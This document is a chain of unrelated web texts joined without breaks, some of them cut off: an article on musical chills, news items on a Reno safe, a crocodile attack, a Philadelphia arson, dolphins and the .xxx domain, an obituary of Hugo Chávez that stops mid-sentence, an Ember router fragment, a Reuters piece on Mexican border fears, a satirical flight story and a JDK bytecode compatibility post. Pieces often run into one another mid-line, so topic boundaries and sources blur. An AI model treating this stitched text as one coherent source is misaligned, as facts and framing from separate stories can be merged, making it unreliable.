But does that mean once you've heard a song and know what's coming, you're less likely to get chills from it? "Not at all," says Margulis. "In fact, sometimes quite the opposite!" "Being familiar and preferring a certain piece of music definitely increases the chances of experiencing chills," Egermann echoes. The key here is that you can expect what will happen in a particular piece (these are known "veridical expectations") and still contrast it with what normally happens in music generally (these are "schematic expectations"). A big shift in volume or tone will still feel surprising no matter how many times you've heard it happen, because most of the time, music doesn't do that. In fact, says Margulis, "moments of closure" -- the times when you are familiar enough with how melodies or rhythms or other forms of musical structure work to guess how a particular element will resolve itself -- are the easiest places to surprise us. "That's why a composer can throw in something tricky at a cadence and blow your mind." In other words, frisson is a matter of expecting the unexpected: building to something big, something listeners can hear coming -- but then doing it so much bigger, more exciting, more unexpected, that it blows up their nervous system anyway, every time. If you build it, the chills will come. That means musicians can make music that does this on purpose. And for real, man, they should. One musician, at least, is already doing so: the choral composer Eric Whitacre, whose "Virtual Choir" projects -- in which he stitches together a full performance of his works from the separately recorded YouTube videos of hundreds of individual singers -- went viral last year:
In that song, "Lux Aurumque," the passage from about 1:13 to 1:30 is chill city for me -- like suddenly seeing the sun come out from behind the clouds. Whitacre's music consistently does this for me, more than any other artist. In particular, his devastating masterpiece "When David Heard," written for a friend and collaborator who'd lost his son to a car crash, contains two enormous builds and releases that I have literally never listened to without starting to cry from the sheer emotional and physiological overload of it all. I defy you to make it to 2:08 without your brain freaking out:Do you remember that mysterious safe hidden behind a wall inside Bill's Casino in Reno? Well, it's been opened. Cool! Not really, since it was opened and filmed by Oprah's people for a TV special. So no one knows what's inside still. TV drama!
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Remember, there was a slight possibility that the safe was Mafia-connected—as the suspected owner of the safe (previous owner of the Casino) was killed in a car explosion dripping with Martin Scorcese plot lines. However! Police were on site as the safe was opened and concluded that there wasn't anything inside worth launching an investigation about. Sgt. Jim Halsey said:
"Nothing of substance for us inside, and the contents are being kept a secret until the Oprah Winfrey show airs in a month or so."
Everyone who participated in the opening of the safe had to sign confidentiality agreements as to not ruin the surprise of the upcoming TV special, so it's up to Oprah when we'll find out. There's no air date slated for the TV special yet but maybe Oprah will give away safes to everyone! Here's to hoping there's still something worthwhile inside. [Record Courier, Image Credit: Adam Jensen/Tahoe Daily Tribune]
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You can keep up with Casey Chan, the author of this post, on Twitter or Facebook.An Australian teen who was attacked by a crocodile after jumping into a crocodile-infested river on a dare was recovering from serious wounds to his arm, officials said Monday, as authorities recovered the body of another man who also may have been attacked by a crocodile in nearby waters.
Lee de Paauw, an 18-year-old from Queensland state, was at a hostel in the northern Queensland town of Innisfail around 2:30 a.m. on Sunday when he started bragging that he could swim in the river, a known habitat for aggressive saltwater crocodiles, said Sophie Paterson, a British backpacker who was at the hostel.
She and several others egged him on, though none of them thought he'd actually get in the water, Paterson said.
But get in the water he did. Seconds later, a crocodile latched onto him.
"It all happened very fast. Pretty much as soon as he jumped in, there was splashing and screaming," Paterson told Queensland's Courier-Mail newspaper. "There was blood everywhere and he just wouldn't stop screaming."
De Paauw managed to pull himself out of the water. Queensland paramedic Neil Noble said the teen suffered extensive injuries to his arm, and was lucky to escape from the crocodile before the animal drowned him.
Meanwhile, Queensland authorities on Monday recovered a body believed to be that of a man who vanished on Saturday while spearfishing alone in waters just north of Innisfail. The 35-year-old man's boat was found anchored off Palmer Point, about 50 kilometers (30 miles) north of Innisfail, on Saturday evening, with his spear gun floating in the water nearby.
An air and sea search was launched and officials spotted a body in the water on Monday morning, Queensland police said in a statement. An initial investigation suggests the man may have been taken by a crocodile, police said.
Wildlife officers were hunting for the animal, believed to be around 13 feet long.
Crocodiles have been a protected species in Australia since the 1970s, which has led to an explosion in their population across the country's tropical north. Because saltwater crocodiles can live up 70 years and grow throughout their lives — reaching up to 23 feet in length — the proportion of large crocodiles is also rising.By Trang Do, Alicia Nieves and David Spunt
PHILADELPHIA (CBS) — A two-alarm fire that damaged 11 townhomes under construction in the Point Breeze section of Philadelphia has been ruled an arson.
The Bureau of Alcohol, Tobacco, Firearms and Explosives announced Tuesday a $10,000 reward for information leading to the arrest and conviction of those responsible.
“Acts of arson are dangerous crimes and threaten the community. ATF is committed to keeping the public safe from those who maliciously set fires,” said ATF Special Agent in Charge Sam Rabadi. “We are asking the public to provide any information that would lead investigators to those responsible for this arson.”
The fire started around 4:15 a.m. Monday in the middle of 11 homes still under construction near 20th and Wharton Streets.
“I wake up, my whole room just turns orange,” said Michael Lopez, who lives across the street from the development. “I look outside my window and next thing you know, everything’s up in flames.”
Crews placed the fire under control in about an hour. No one was hurt.
Fire Commissioner Adam Thiel, one of 75 firefighters on scene, said the incomplete houses made the fire especially challenging to put out.
“Before the building is really, any separations are put in, is particularly dangerous because the entire building is a system and when all of the structural components are not put together it makes it a collapse hazard,” Thiel said. “Also, you get a lot of air in there and air, of course, feeds the fire.”
All 11 townhouses were damaged. Two collapsed during the fire, and two more are being knocked down for safety.
During demolition, the developer, Ori Feibush, had to be forcibly removed from the property. He was upset with the way the houses were being knocked down and pleaded with the city’s crews not to cause more damage than necessary.
A source close to the construction project told Eyewitness News the townhomes, selling for about $500,000 each, were not insured.
Feibush was self-financing the project and was not required to have insurance.
“Right now it’s just kind of shock and it’s really bizarre,” Nina Mari D’Occhio said. Her parents are under contract to move into one of the homes.
“God works in mysterious ways,” said Gail Robinson, who lives in Point Breeze.
Some, like Robinson, have little sympathy for those involved in this project.
Neighbors said the development has caused a lot of controversy in the neighborhood. Residents feel like they are being pushed out by developers trying to buy up and sell out the area.
“Nobody agrees with it,” said Earl Roberts, District 9 committeeman. “They didn’t really want it built but it’s got to be built. It’s either have the houses or a lot. Now, I don’t know what it’s going to be.”
“This particular developer has not exactly endeared himself to the point breeze community,” said Ernest Peebles of Point Breeze.
Commissioner Thiel said investigators aren’t ruling anything out.
“Our fire marshals are incredible,” he said. “They work with a great arson squad with PPD and ATF, so we’ll have that whole team out here and we’ll figure it out.”THE Port River dolphins are jumping for joy – literally.
At least four dolphins have been spotted “tail walking” in the past week.
Tail walking is extremely rare for wild dolphins and had almost completely disappeared from the river after the Port’s most famous tailwalking dolphin, Billie, died in 2009.
Dolphin conservationist Jenni Wyrsta said since last weekend she had seen multiple dolphins walking on their tails, including one called Bianca, who did 33 in a row in sets of two and three.
“I’ve never seen a dolphin do double let alone triple tail walks,” Ms Wyrsta said.
Port River dolphins delight crowds with 'tail walking' 3:44 Dolphins in South Australia go 'tail walking' for viewers from the Dolphin Explorer. Courtesy: Jenni Wyrsta/Facebook Port River dolphins delight crowds with 'tail walking'
“It seems extreme that this has all happened within a week – it’s been years since I’ve seen any tail walking and then this weekend just bang bang.”
Ms Wyrsta said the dolphins had been particularly social lately and had been seen in bigger groups of up to 10 – rather than the usual four or five.
She said a marine biologist had told her that dolphins become more playful when there is an abundance of food. There were a lot of fish in the river at the moment.
media_camera Port River dolphin Bianca showing off a "tail walk" earlier this week. Picture: Jenni Wyrsta
Dr Mike Bossley, who has studied the Port River dolphins for more than 30 years, said he did not know what had caused the outbreak.
Dr Bossley said it was interesting because at least two of the young females who had been spotted performing the trick had mothers who could also do it.
“One of these tail walkers is the young adult female Oriana, and Oriana’s mother is Bianca, who is also a tail walker,” Dr Bossley said.
He said Bianca had almost certainly learned from Billie – the dolphin responsible for Port Adelaide’s wild dolphins learning the skill.
media_camera Port River dolphin Billie performs a tail walking trick in the Port River in 2008.
In the late 1980s, Billie swam out of the Port River and was held at Marineland in Glenelg for a few weeks before being released.
In that time she learnt to copy the captive dolphins who had been taught to walk on their tails. When she returned home, she continued to do it. Before long, several other dolphins were mimicking her.Hugo Chávez's last hurrah: his final campaign rally before being re-elected last October Source: Barcroft Media
The boy from a humble background in Barinas, in Venezuela's llanos (tropical lowlands) Source: REUTERS
As a proud cadet, with his parents Source: REUTERS
Chávez (squatting at far right) as a pitcher in the army baseball team Source: REUTERS
In jail after his failed coup attempt in 1992 against an elected government Source: AP
Chávez and Fidel Castro in 1994, the forging of an alliance Source: AFP
Sworn in as president in 1999, accompanied by his then wife, Marisabel Source: AFP
The self-proclaimed heir to Simón Bolívar, the great Liberator Source: AFP
The opposition mobilises in 2002 against what it sees as Chávez's dictatorial rule Source: AFP
Chávez tried and failed in a 2007 referendum to amend the constitution (his little blue book) to abolish presidential term limits (the red version), only to win the point in a further referendum in 2009 Source: AFP
Chávez's choice of authoritarian allies included Iran Source: REUTERS
With like-minded Latin American leaders, Bolivia's Evo Morales (centre) and Nicaragua's Daniel Ortega (right) Source: AFP
On horseback in the llanos, en route to recording Aló Presidente, Chávez's weekly television talk show Source: AFP
The president wields a shovel. Under Chávez Venezuela's infrastructure crumbled and its housing shortage mounted Source: REUTERS
Celebrating his 57th birthday, while battling cancer, on the balcony of the presidential palace Source: AFP
IN THE flesh he seemed indestructible. Hugo Chávez was not especially tall, but he was built like one of the tanks he once commanded. He was possessed of seemingly inexhaustible energy. He travelled incessantly, both around his vast country and abroad. Each Sunday he would host live television shows lasting up to 12 hours. He would ring up ministers in the early hours of the morning to harangue them. For 14 years, everything that happened in Venezuela passed through his hands, or so he liked to think.
Yet Mr Chávez turned out to have been as reckless with his health as with his country’s economy and its democracy. Those late nights were fuelled by dozens of cups of sweet Venezuelan coffee. When in mid-2011 he revealed that he had been operated on for cancer, the lack of detail (“a baseball-sized tumour in the pelvic region”) suggested that the diagnosis had come late. He turned down an offer of care from a Brazilian hospital that has recently cured three Latin American presidents of cancer, preferring treatment in Cuba, where his condition could be kept secret.
Rather than stand aside from the presidency, he insisted that he could run his country from his Havana sickbed. After another two operations and chemotherapy, he declared himself cured. Addicted to the drugs of power and popular acclaim, he campaigned for and won yet another six-year term in an election last October.
During the campaign it was clear to those not blinded by loyalty that Mr Chávez was still a sick man. After the election he dropped out of sight, before making the sombre announcement on December 8th that he was going back to Cuba for yet another operation. If the worst happened, he said, Venezuelans should vote for Nicolás Maduro, his foreign minister and appointed vice-president, as his successor. The six-hour operation did not go well: after weeks in which close family kept a bedside vigil, joined at times by senior officials, Mr Chávez returned home last month, to die on March 5th at the age of 58.
To the end, Mr Chávez’s rule was narcissistic, with country and constitution subordinated to his whim. In the tradition of the Latin American caudillo, he wanted to die with his boots on. When he was too ill to be sworn in for his new term on January 10th, his officials, with Cuban support, resolved to disregard the constitution that he himself had pushed through in 1999 and declared that the inauguration could happen at a later date. It will be harder for them to avoid the constitution’s requirement that in the event of the president’s death an election must be held within 30 days (though in practice a poll may be difficult to organise in such a short period).
Mr Chávez is mourned by millions of Venezuelans, for whom he was a kind of Robin Hood, shouting defiance at “the empire” (ie the United States) and the “oligarchy” (ie the rich) while handing out windfall oil revenues. His opponents, many of whom saw him as a corrupt dictator, will sense deliverance. That may be premature.
A swift election may favour Mr Maduro, already the de facto president. He will benefit from a sympathy vote. The sooner he has his own mandate, the less risk there is that he will face rebellion, or at least passive resistance, from within the chavista camp. The opposition candidate will probably be Henrique Capriles. A moderate centrist and dogged campaigner, in last October’s vote he cut Mr Chávez’s margin of victory from 26 percentage points in 2006 to 11 points. But the opposition was demoralised by defeat; it fared poorly in regional elections in December, though Mr Capriles was re-elected as governor of the state of Miranda, covering much of the capital.
The bigger question in the months ahead will be how much will survive of Mr Chávez’s “Bolivarian revolution”, named for Simón Bolívar, South America’s Venezuelan-born independence hero. His reluctance to surrender power despite his illness underlined just how personal his regime was. Through a mixture of unusual political talent and extraordinary good fortune, Mr Chávez managed to make himself into a world figure, perhaps the best-known Latin American after his friend and idol, Fidel Castro. Death cut short his oft-stated intention to rule his country until 2030. And it means he will not be around to face the reckoning after 14 years of a corrupt, oil-fuelled autocracy.
Swapping baseball for revolution
Had things turned out differently, Hugo Chávez might have been a professional baseball player. That was his childhood dream. A typical Venezuelan mestizo, of mixed African, indigenous and European descent, he was born in relative poverty (though not in the “mud hut” of the title of a hagiography) in Barinas, a remote state in the llanos, the vast, tropical lowlands of the Orinoco basin. His father was a teacher, and his mother a teaching assistant. One of six brothers, he was largely brought up by his grandmother. He supplemented the family income by selling home-made sweets in the street.
By Mr Chávez’s own account, he entered Venezuela’s military academy because it had a good baseball team. He had a small role in mopping up Cuban-supported leftist guerrilla groups in the 1970s—a task that left him sympathetic to their aims. At the age of 23, he was already conspiring against the government.
In the 1980s Venezuela, previously seen as a model democracy, struggled as the price of oil, its main export, plunged and foreign debt mounted. Discontent at rising poverty, austerity and corruption exploded in three days of rioting in Caracas in 1989, and repression by the army left 400 dead. “It was the moment we were waiting for to act,” Mr Chávez said later. In February 1992, a lieutenant-colonel in command of a paratroop battalion, he made his move: he led a bloody but unsuccessful coup against the elected government of Carlos Andrés Pérez. Cashiered and jailed, he was released after just two years. He claimed that Bolívar was his inspiration.
Bolívar had long been the object of an official, quasi-religious cult in Venezuela—but a conservative one. Mr Chávez would appropriate the cult for his own ends: he was said to leave an empty chair at meetings, claiming it was occupied by the ghost of the great Liberator. His second source of inspiration was Fidel Castro: in 1994, he visited Cuba where he began a close friendship with Mr Castro, whom he saw “as a father” and who became his most important counsellor. The Cuban leader, who had long viewed Venezuela’s oil wealth as the key to sustaining his own regime in his energy-short island, would find in Mr Chávez what he had been seeking for decades: a powerful, unconditional ally in a large Latin American country.
There was a third strand to Mr Chávez’s world view. He was an army man through and through: his early heroes had been nationalist military dictators of the 1970s, such as Peru’s Juan Velasco Alvarado and Panama’s Omar Torrijos. As Enrique Krauze, a Mexican writer, has pointed out, from eclectic reading Mr Chávez acquired the conviction that history is made by great men. He was influenced, too, by Norberto Ceresole, an obscure Argentine fascist who advised him when he was first in government. His regime had an anti-Semitic undertone. The notion, peddled by some of his foreign supporters, that Mr Chávez was a moderate radicalised only by implacable opposition both at home and in Washington, does not square with the evidence.
The elected autocracy
Mr Chávez was reluctantly persuaded—probably by Mr Castro—that elections were better than force as a route to power. His promises of a clean sweep of the old order and an end to poverty and corruption won him the presidency in December 1998 with 56% of the vote. His first act was to call a Constituent Assembly, which wrote a new constitution, approved by referendum. It enshrined respect for private property, human rights and an independent judiciary. But it also expanded the powers of the presidency and the armed forces. It gave Mr Chávez a chance to appoint loyalists to the supreme court and other nominally independent institutions.
Unlike Mr Castro, Mr Chávez derived his legitimacy from the ballot box. He would win three further presidential elections, with comfortable majorities. But he ruled by confrontation and decree, rather than consensus. That triggered severe political unrest. The tensions came to a head on April 11th, 2002, when hundreds of thousands marched on the presidential palace to demand Mr Chávez’s resignation: 19 people died, many killed by snipers who were firing from surrounding buildings and were never identified. When the army refused his order to use force to suppress the protests, the president surrendered his office; his most senior general told the nation he had resigned. But after a conservative business leader proclaimed himself president on April 12th and declared the constitution abolished, the army switched sides again and restored Mr Chávez to power.
That was a turning point. An opposition strike and lockout later that year paralysed PDVSA, the state oil monopoly, but it failed. Through the medium of these conflicts, Mr Chávez neutralised all potential rival sources of power. He turned PDVSA and the Central Bank into vehicles for opaque, off-budget spending. He staffed the government, the bureaucracy, other institutions of state and the upper ranks of the armed forces according to loyalty rather than merit. He packed the courts, and gained full control of the legislature, thanks to an ill-advised opposition boycott in 2005. When a revived opposition later did well in regional and legislative elections, he stripped local government and the National Assembly of much of their powers.
Three other things had come to Mr Chávez’s rescue. The first was the spectacular rise in the world price of oil, which provided the vast bulk of Venezuela’s export earnings (see chart 1). The second was the advice of Mr Castro. Cuban officials drew up new social programmes, known as “missions”, starting with primary health care and adult education. In return for heavily subsidised oil, Cuba provided the Venezuelan government with thousands of doctors and sports trainers. Cuban intelligence and security agents surrounded Mr Chávez: he would never again be caught off-guard by street protests.
The missions and the flood of oil money helped the president rebuff a referendum in 2004 that would have removed him from office. He cowed the opposition. He harassed its media outlets: today, most free-to-air television channels spout government propaganda. The names of the 3.6m who signed the petition calling for the recall referendum were published; some were sacked from state jobs or denied passports or other official services.
The third godsend for Mr Chávez was George Bush. Thanks to the worldwide unpopularity of the American president, he could use his address to the United Nations to mock Mr Bush as “the devil”. He deployed his talents as a propagandist to weave a fiction to the effect that the coup attempt against him in April 2002 had been backed by the United States.
In 2006 Mr Chávez won a landslide victory. At the height of his power, he declared that he was implanting “21st-century socialism”, though he never defined exactly what this was. He immediately moved to nationalise swathes of the economy, including telecommunications, electricity, cement and parts of the oil industry still in private hands |
Use Cases for Actions
willTransition
This action is fired before the router starts the transition, which gives the developer the possibility to conditionally abort it.
Consequently, it might be used to warn the user about losing unsaved changes, for example.
didTransition
This action is fired on the destination route when the transition has fully completed. Setting the document’s title is a possible use case for this route action.
loading
If a model hook returns a promise, that promise must be resolved before the corresponding template can be rendered. When the model hook returns a promise, a loading action is fired on the parent route (so for bands.band, the loading action is fired on bands ), which, by default, renders a loading template under the parent (in the given example, bands.loading ). This default behavior can be overridden.
errorTIJUANA/NOGALES, Mexico (Reuters) - Mexicans on the U.S. border anxiously awaited the outcome of the U.S. presidential election on Tuesday, plagued by fears of economic disaster if Republican Donald Trump wins and tries to choke local industry, isolate the country and deport millions.
Trucks wait in the queue for border customs control to cross into U.S. at the World Trade Bridge in Nuevo Laredo, Mexico, November 2, 2016. REUTERS/Daniel Becerril
Trump’s campaign has been one of the most unpopular in living memory in Mexico, ranging from stinging verbal attacks on its migrants, threats against its trade agreements, to his repeated vows to seal off the country behind a huge border wall that he insists Mexico will pay for.
Nowhere has the bad-tempered contest been felt more acutely than in the Mexican cities straddling the U.S. border, which hundreds of thousands of people cross for work every day, and acts as a bridge for $500 billion in annual bilateral trade.
Trump launched his bid accusing Mexico of sending rapists and drug peddlers across the border, prompting the government to accuse him of stirring up hatred and fanning concerns on the border that racial prejudice is becoming more acceptable.
The tycoon says he could scrap the North American Free Trade Agreement that took effect in Mexico, the United States and Canada in 1994, and he has threatened to impose tariffs of up to 35 percent on Mexican-made goods to help U.S. industry.
“We’re very worried. We know what Donald Trump is looking to do, which is limit the imports, he wants to manufacture everything in the States,” said Marcello Hinojosa, president in the border city of Tijuana of industry group Canacintra.
“But this has been analyzed by both the United States and by Mexico and it’s suicide for both countries.”
Mexican business leaders say about 40 percent of the average Mexican factory export is made of U.S. content and argue the two manufacturing sectors are so closely intertwined that it is impossible to take steps against one without damaging the other.
Trump, who polls show trailing Democratic rival Hillary Clinton in a tight race, says Mexico is “killing” the United States on trade. However, commerce between the two has grown much faster than their respective economies since NAFTA, World Bank and U.S. data show.
Mexico sends more than 80 percent of its exports to the United States, and the U.S. Chamber of Commerce says roughly 6 million American jobs depend on trade with Mexico.
Trump has also blasted U.S. companies for investing in Mexico, which houses billions of dollars worth of manufacturing plants, especially around Mexico’s northern border. Trump blames the Mexican factories for jobs losses in the United States.
If protectionist policies gain ground, prices for products and services would go up, and jobs would eventually be lost in Mexico, putting pressure on people to migrate - or exposing them to the lure of violent crime, Hinojosa said.
PRIDE AND PREJUDICE
Rarely have Mexicans expressed such strong views about U.S. presidential candidates as during the current campaign.
Mexicans favor Clinton in the race by 10 to 1, according to a poll published in Mexico in late September. But the tightening of polls in the last two weeks has rattled their confidence she will win.
“Personally, though I think I speak for many Mexicans, I hope Trump loses,” said Rodolfo Monroy, 85, a restaurant owner in the border city of Nogales, opposite Nogales, Arizona. “Why? Because he’s rude, because of what comes out of his mouth. He doesn’t like us Mexicans,” he said, with a flash of anger on his face. “We’re going to be in real trouble (if he wins).”
Wadih Kuri, Chief Executive of ABC Aluminum Solutions, a local aluminum company, recalled being labeled “beaner” as a Mexican studying across the border, the sort of prejudice he said Trump’s campaign was encouraging again.
“Are we still at the same place where kids need to be ridiculed because they’re from Mexico? And that’s all he’s doing. So If I’m nervous, I’m nervous for the culture that he’s inspiring,” said Kuri, who now lives in San Diego.
Trump’s threats to deport more than 11 million undocumented migrants living in the United States, roughly half of whom are Mexican, could also put Mexican authorities under strain, said Cuauhtemoc Galindo, the mayor of Nogales, Mexico.
Nor was it wise economic policy, he added.
“Having someone govern who feeds racism, hate, this sort of thing... will also make a lot of Mexicans stop visiting (the United States) out of fear, out of a sense of pride, which will also hurt the U.S. economy,” Galindo said.
Crossing into the United States from Tijuana, one of the busiest thoroughfares in the hemisphere, construction worker Alejandro Ortiz said “every aspect” of his life would be affected if Trump wins - which he fears will happen.
“This is going to affect me whenever I cross the border, they’re going to investigate me more, just because of my color, because I speak Spanish,” said Ortiz, 36, who was born in the United States but grew up in Mexico.LOS ANGELES—Passengers on flight 657 from Detroit to Los Angeles confirmed Wednesday that the trip was repeatedly disrupted by the noisy and obnoxious behavior of an annoying Kid Rock seated in the fifth row. “As soon as I saw that damn Kid Rock get on the plane, I knew it was going to be one of those awful flights,” said business traveler Alvin Gorman, who complained about the immature behavior and ear-splitting screams of the unruly Kid Rock. “I wish someone would shut that Kid Rock up. For almost an hour, that fucking Kid Rock was kicking the back of my seat or running up and down the aisle yelling like an idiot.” Several passengers told reporters that the last 20 minutes of the flight were relatively peaceful when the hyperactive Kid Rock began to calm down after he was given a bottle.
AdvertisementJDK 1.8/1.7 Compatibility Gotcha
To help future weary souls out, here are the Google-friendly queries for what we’ll be talking about in this post:
java.lang.NoClassDefFoundError: java/lang/reflect/Executable
java.lang.ClassNotFoundException: java.lang.reflect.Executable
tldr: if you want to use -source 1.6 / -target 1.6 (or 1.7), then compile with the JDK 1.6 or JDK 1.7, otherwise you risk newer/Java 1.8-only classes sneaking into the bytecode.
Overview
The other day, I built a trunk version of GWT with my machine’s default JDK, JDK 1.8.
GWT uses Ant/ javac to build, with the -source 1.6 and -target 1.6 flags set. Previously, I had thought this was a very safe/normal thing to do.
However, when running this built-with-1.8 version GWT on a JDK 1.7 JVMs, an exception occurred:
Caused by: java.lang.ClassNotFoundException: java.lang.reflect.Executable at java.net.URLClassLoader $1.run ( URLClassLoader.java:366 ) at java.net.URLClassLoader $1.run ( URLClassLoader.java:355 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.net.URLClassLoader.findClass ( URLClassLoader.java:354 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:425 ) at sun.misc.Launcher $AppClassLoader.loadClass ( Launcher.java:308 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:358 ) at com.google.gwt.dev.shell.JavaDispatchImpl.getMethod ( JavaDispatchImpl.java:122 )
Normally these sorts of errors are expected when a library uses new JDK 1.8 methods/classes. Then all downstream users also have to use JDK 1.8.
However, in this case, the GWT source code doesn’t reference Executable anywhere. The GWT code base is really supposed to be JDK 1.7 compatible.
What Is java.lang.reflect.Executable anyway?
Turns out Executable is the new base class for java.lang.reflect.Method and java.lang.reflect.Constructor in JDK 1.8.
Before Java 8, the base class of Method and Constructor was AccessibleObject.
Granted, in Java 8, AccessibleObject is still a base class of Method and Constructor, it’s just that Executable was inserted between AccessibleObject and Method and Constructor.
Which, I don’t know, changing base classes seems kinda risky, but they kept the old one, so I guess it seems innocent enough.
But Now Who Referenced Executable?
So, I was still very confused; the GWT code base doesn’t know anything about Executable. Sure, it uses Method and Constructor a lot, as part of normal reflection code. But no Executable.
A cursory javap -c -constants of every GWT.class file showed no reference, no cast, to Executable.
Looking back at the offending stack trace, the last method in the stack trace, JavaDispatchImpl.getMethod looks innocent:
@Override public MethodAdaptor getMethod ( int dispId ) { if ( dispId < 0 ) { throw new RuntimeException ( "Method does not exist." ); } Member m = getMember ( dispId ); if ( m instanceof Method ) { return new MethodAdaptor (( Method ) m ); } else if ( m instanceof Constructor <?>) { return new MethodAdaptor (( Constructor <?>) m ); } else { throw new RuntimeException (); } }
The instanceof Method check passes as true, but the stack trace doesn’t get into MethodAdaptor, it first goes off and loads Executable, which fails and we end up stuck.
Look More Closely
Given the JVM was about to call into MethodAdaptor, and that it typically loads the dependencies referenced by a class the first time that the class is loaded, I got more suspicious about MethodAdaptor s dependencies.
It turns out javap has a verbose flag, so trying that:
javap -s -constants -c -v./com/google/gwt/dev/shell/MethodAdaptor.class
Resulted in a lot of interesting output, but most pertinently, we finally found the smoking gun:
public java.lang.reflect.AccessibleObject getUnderlyingObject () ; descriptor: () Ljava/lang/reflect/AccessibleObject ; flags: ACC_PUBLIC Code: stack = 1, locals = 1, args_size = 1 0: aload_0 1: getfield #3 // Field method:Ljava/lang/reflect/Method; 4: ifnull 14 7: aload_0 8: getfield #3 // Field method:Ljava/lang/reflect/Method; 11: goto 18 14: aload_0 15: getfield #2 // Field constructor:Ljava/lang/reflect/Constructor; 18: areturn LineNumberTable: line 91: 0 LocalVariableTable: Start Length Slot Name Signature 0 19 0 this Lcom/google/gwt/dev/shell/MethodAdaptor ; StackMapTable: number_of_entries = 2 frame_type = 14 / * same * / frame_type = 67 / * same_locals_1_stack_item * / stack = [ class java/lang/reflect/Executable ]
Notice the very last line: stack = [ class java/lang/reflect/Executable ].
What?!
Here is the source of getUnderlingObject :
public AccessibleObject getUnderlyingObject () { return ( method!= null )? method : constructor ; }
It’s very tiny. And no reference to Executable.
What’s a Stack Map Table?
Explain what the Stack Map is…
Here are some interesting links:
Reproducing It
Okay, so, sure, this problem happens in the large GWT codebase, but can we reproduce it?
It turns out, yes, it’s very easy. Here is a simple, standalone Java file to reproduce this behavior, Foo.java :
import java.lang.reflect.AccessibleObject ; import java.lang.reflect.Method ; import java.lang.reflect.Constructor ; public class Foo { private Method method ; private Constructor constructor ; public static void main ( String [] args ) throws Exception { Foo f = new Foo (); System. out. println ( "done" ); } public Foo () throws Exception { Class <?> c = Class. forName ( "java.util.HashMap" ); method = c. getMethods ()[ 0 ]; constructor = c. getConstructors ()[ 0 ]; } public AccessibleObject pickOne () { return method!= null? method : constructor ; } }
So, we’ll start out compiling with JDK 1.8:
$ javac -version javac 1.8.0 $ javac Foo.java $ java Foo done
It compiles. And, if we look at the bytecode, our stack verification data looks just fine:
$ javap -v Foo | grep'stack =' stack = [ class java/lang/reflect/AccessibleObject
It’s using AccessibleObject, which will work in a JDK 1.7 JVM.
However, when we run Foo when JDK 1.7, it actually fails, although due to the typical major.minor mismatch error:
$ /usr/lib/jvm/java-7-oracle/bin/java Foo Exception in thread "main" java.lang.UnsupportedClassVersionError: Foo : Unsupported major.minor version 52.0
Okay, fair enough, so let’s compile with -source 1.7 and -target 1.7 :
$ javac -version javac 1.8.0 $ javac -source 1.7 -target 1.7 warning: [ options] bootstrap class path not set in conjunction with -source 1.7 $ java Foo done $ /usr/lib/jvm/java-7-oracle/bin/java Foo Exception in thread "main" java.lang.NoClassDefFoundError: java/lang/reflect/Executable
Agh! It worked fine, until we ran with JDK 1.7, and we got the Executable error. And, sure enough, the offending Executable reference is back in the bytecode:
$ javap -v Foo | grep'stack =' stack = [ class java/lang/reflect/Executable
It seems like the JDK 1.8 compiler must have different algorithms for calculating the Stack Map Table, and when set to -source 1.7, it changes to an algorithm, that, ironically, picks a different type ( Executable instead of AccessibleObject ) for the table even though that type won’t be available on JDK 1.7.
How To Avoid This: Option 1
Astute readers might have noticed the tip off go by; javac warns about using the default (JDK 1.8) bootstrap classpath when compiling with source / target flags.
This is basically javac warning us that, right, it knows this might happen–we’re giving it a JDK 1.8 standard library, and expecting the compiler to “just know” not to include references to any 1.8-only classes (whether due to internal decisions like this stack map, or even to user-code level decisions like calling JDK 1.8-only methods).
The javac compiler, understandably, doesn’t really have this “what’s in 1.7 vs. 1.8” metadata, so it is requesting that we override the bootstrap classpath, and make sure we’re passing in a standard library that matches our source and target flags.
And, it turns out, if we heed the warning and use the bootstrap classpath:
$ javac -version 1.8.0 $ javac -source 1.7 -target 1.7 -bootclasspath /usr/lib/jvm/java-7-oracle/jre/lib/rt.jar Foo.java $ java Foo done $ /usr/lib/jvm/java-7-oracle/bin/java Foo done
Then order is restored to the world, and we can run 1.8-compiled classes on both JDK 1.8 and JDK 1.7.
The bytecode has gone back to only knowing about AccessibleObject :
$ javap -v Foo | grep'stack =' stack = [ class java/lang/reflect/AccessibleObject
As (I assume), even though javac is using it’s “JDK 1.7” algorithm for the Stack Map Table, Executable isn’t even on the classpath at all, for it to find and reference. So the algorithm ends up with AccessibleObject instead, which is what we want.
What is odd about this option, ensuring to pass the -bootclasspath, is that, previously, I thought the whole point of compiling with -source / -target was to use them when you did not have old JVMs installed, but still needed to target their platforms.
This is showing saying that, even if you’re using a JDK 1.8 compiler, to avoid gotchas like this NoClassDefFoundError, even with codebases that look 100% JDK 1.7 compatible, you need to use the bootclasspath to ensure javac only uses 1.7-available classes in the resulting bytecode.
How To Avoid This: Option 2
Just compile with JDK 1.7.
If you have to have the bootstrap classpath anyway, might as well set JAVA_HOME to a JDK 1.7 install and be done with it.
This is what I did for my GWT trunk build, and it quickly went back to working as expected.The suicide rate among young male veterans continues to soar: ex-servicemen 24 and younger are now three times more likely than civilian males to take their lives, according to a federal study released Friday.
Former troops in that high-risk age group — who were also enrolled for care at veterans' hospitals — posted a suicide rate of 79.1 per 100,000 during 2011, the latest data available. In contrast, the annual suicide rate for all American males has recently averaged about 25 per 100,000, the U.S. Department of Veterans Affairs reports.
During 2009, the suicide rate for veterans 24 and younger was 46.1 per 100,000 — meaning the deadly pace increased by 79 percent during that two-year span.
“This is awful and alarming,” said Paul Rieckhoff, founder of Iraq and Afghanistan Veterans of America. “While our nation’s focus on the wars — and the warriors — has waned, our veterans continue to confront invisible wounds. We must do all we can to support every man and woman struggling with mental health issues…We clearly have much more work to do.”
Overall, the suicide rate among all U.S. veterans remains staggeringly high and unchanged from a year ago: 22 per day, the VA reports.At a board meeting in Silicon Valley on Friday, ICANN approved a new top-level domain for porn sites. URLs ending in.xxx will contain sexually oriented adult entertainment content that is verified to be neither fraudulent nor illegal.
Advocates have been attempting to get this approval since 2003, but the movement for the.xxx TLD has bred controversy, as do most conversations around the porn industry.
The new domain names will be registered through the ICM Registry. Already, nearly 230,000 URLs have been reserved. ICM expects the URLs to sell wholesale for around $60 each. Porn site owners won't have to relinquish their.com or other URLs, and.xxx domains won't be mandatory for sites with adult content.
Sales of.xxx domains should begin soon in Q2 2011.
